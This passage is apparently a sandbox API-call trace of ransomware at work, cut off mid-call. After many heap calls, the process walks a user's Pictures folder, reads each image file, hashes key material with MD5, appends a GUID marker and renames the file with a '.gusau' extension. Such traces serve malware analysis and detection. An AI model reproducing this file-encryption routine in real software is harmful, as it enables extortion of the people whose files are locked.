[0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.364] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\") returned="ZTE-\\" [0118.364] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.364] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.364] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.364] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.364] PathFindFileNameW (pszPath="") returned="" [0118.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb24a490, ftCreationTime.dwHighDateTime=0x1d4d450, ftLastAccessTime.dwLowDateTime=0x51272f10, ftLastAccessTime.dwHighDateTime=0x1d4ceb2, ftLastWriteTime.dwLowDateTime=0x51272f10, ftLastWriteTime.dwHighDateTime=0x1d4ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3Bsx2yMEE1UNteJQW", cAlternateFileName="3BSX2Y~1")) returned 1 [0118.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd50af00, ftCreationTime.dwHighDateTime=0x1d4c95d, ftLastAccessTime.dwLowDateTime=0x12622cb0, ftLastAccessTime.dwHighDateTime=0x1d4cd3d, ftLastWriteTime.dwLowDateTime=0x12622cb0, ftLastWriteTime.dwHighDateTime=0x1d4cd3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bbyLspO02", cAlternateFileName="BBYLSP~1")) returned 1 [0118.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a44e0c0, ftCreationTime.dwHighDateTime=0x1d4c9cd, ftLastAccessTime.dwLowDateTime=0x96700a0, ftLastAccessTime.dwHighDateTime=0x1d4c97c, ftLastWriteTime.dwLowDateTime=0x96700a0, ftLastWriteTime.dwHighDateTime=0x1d4c97c, nFileSizeHigh=0x0, nFileSizeLow=0xa185, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l6LO.bmp", cAlternateFileName="")) returned 1 [0118.365] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\l6LO.bmp") returned=".bmp" [0118.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\l6LO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\l6lo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.366] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=41349) returned 1 [0118.366] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.368] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa15f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.368] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.370] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa185, lpOverlapped=0x0) returned 1 [0118.371] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.371] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.371] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.371] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.371] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.372] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.372] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.372] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.372] GetLastError () returned 0x0 [0118.372] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.372] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.372] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa185, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.372] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.372] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.372] CloseHandle (hObject=0x610) returned 1 [0118.373] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\l6LO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\l6lo.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\l6LO.bmp.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\l6lo.bmp.gusau")) returned 1 [0118.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.374] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25d470, ftCreationTime.dwHighDateTime=0x1d4d01f, ftLastAccessTime.dwLowDateTime=0x2dde8480, ftLastAccessTime.dwHighDateTime=0x1d4c855, ftLastWriteTime.dwLowDateTime=0x2dde8480, ftLastWriteTime.dwHighDateTime=0x1d4c855, nFileSizeHigh=0x0, nFileSizeLow=0xf19e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MFSIcW7l5OKlh5.gif", cAlternateFileName="MFSICW~1.GIF")) returned 1 [0118.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\MFSIcW7l5OKlh5.gif") returned=".gif" [0118.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\MFSIcW7l5OKlh5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\mfsicw7l5oklh5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.375] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=61854) returned 1 [0118.375] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.377] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.377] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.379] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf19e, lpOverlapped=0x0) returned 1 [0118.379] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.379] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.379] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.379] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.380] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.380] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.380] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.380] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.380] GetLastError () returned 0x0 [0118.380] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.380] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.381] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf19e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.381] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.381] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.381] CloseHandle (hObject=0x610) returned 1 [0118.382] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\MFSIcW7l5OKlh5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\mfsicw7l5oklh5.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\MFSIcW7l5OKlh5.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\mfsicw7l5oklh5.gif.gusau")) returned 1 [0118.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.383] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.384] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97eaea10, ftCreationTime.dwHighDateTime=0x1d4d301, ftLastAccessTime.dwLowDateTime=0x69fc20e0, ftLastAccessTime.dwHighDateTime=0x1d4ca07, ftLastWriteTime.dwLowDateTime=0x69fc20e0, ftLastWriteTime.dwHighDateTime=0x1d4ca07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pYG2mrJ4CHtyyhs xGQU", cAlternateFileName="PYG2MR~1")) returned 1 [0118.384] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238c9750, ftCreationTime.dwHighDateTime=0x1d4d314, ftLastAccessTime.dwLowDateTime=0xd74d5500, ftLastAccessTime.dwHighDateTime=0x1d4c82d, ftLastWriteTime.dwLowDateTime=0xd74d5500, ftLastWriteTime.dwHighDateTime=0x1d4c82d, nFileSizeHigh=0x0, nFileSizeLow=0x16f6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WQb DhJ7Wo.jpg", cAlternateFileName="WQBDHJ~1.JPG")) returned 1 [0118.384] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\WQb DhJ7Wo.jpg") returned=".jpg" [0118.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\WQb DhJ7Wo.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\wqb dhj7wo.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.386] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=94060) returned 1 [0118.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.388] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16f46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.388] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.390] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16f6c, lpOverlapped=0x0) returned 1 [0118.391] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.391] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.391] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.391] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.391] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.391] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.392] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.392] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.392] GetLastError () returned 0x0 [0118.392] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.392] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.392] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.392] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.392] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.392] WriteFile (in: 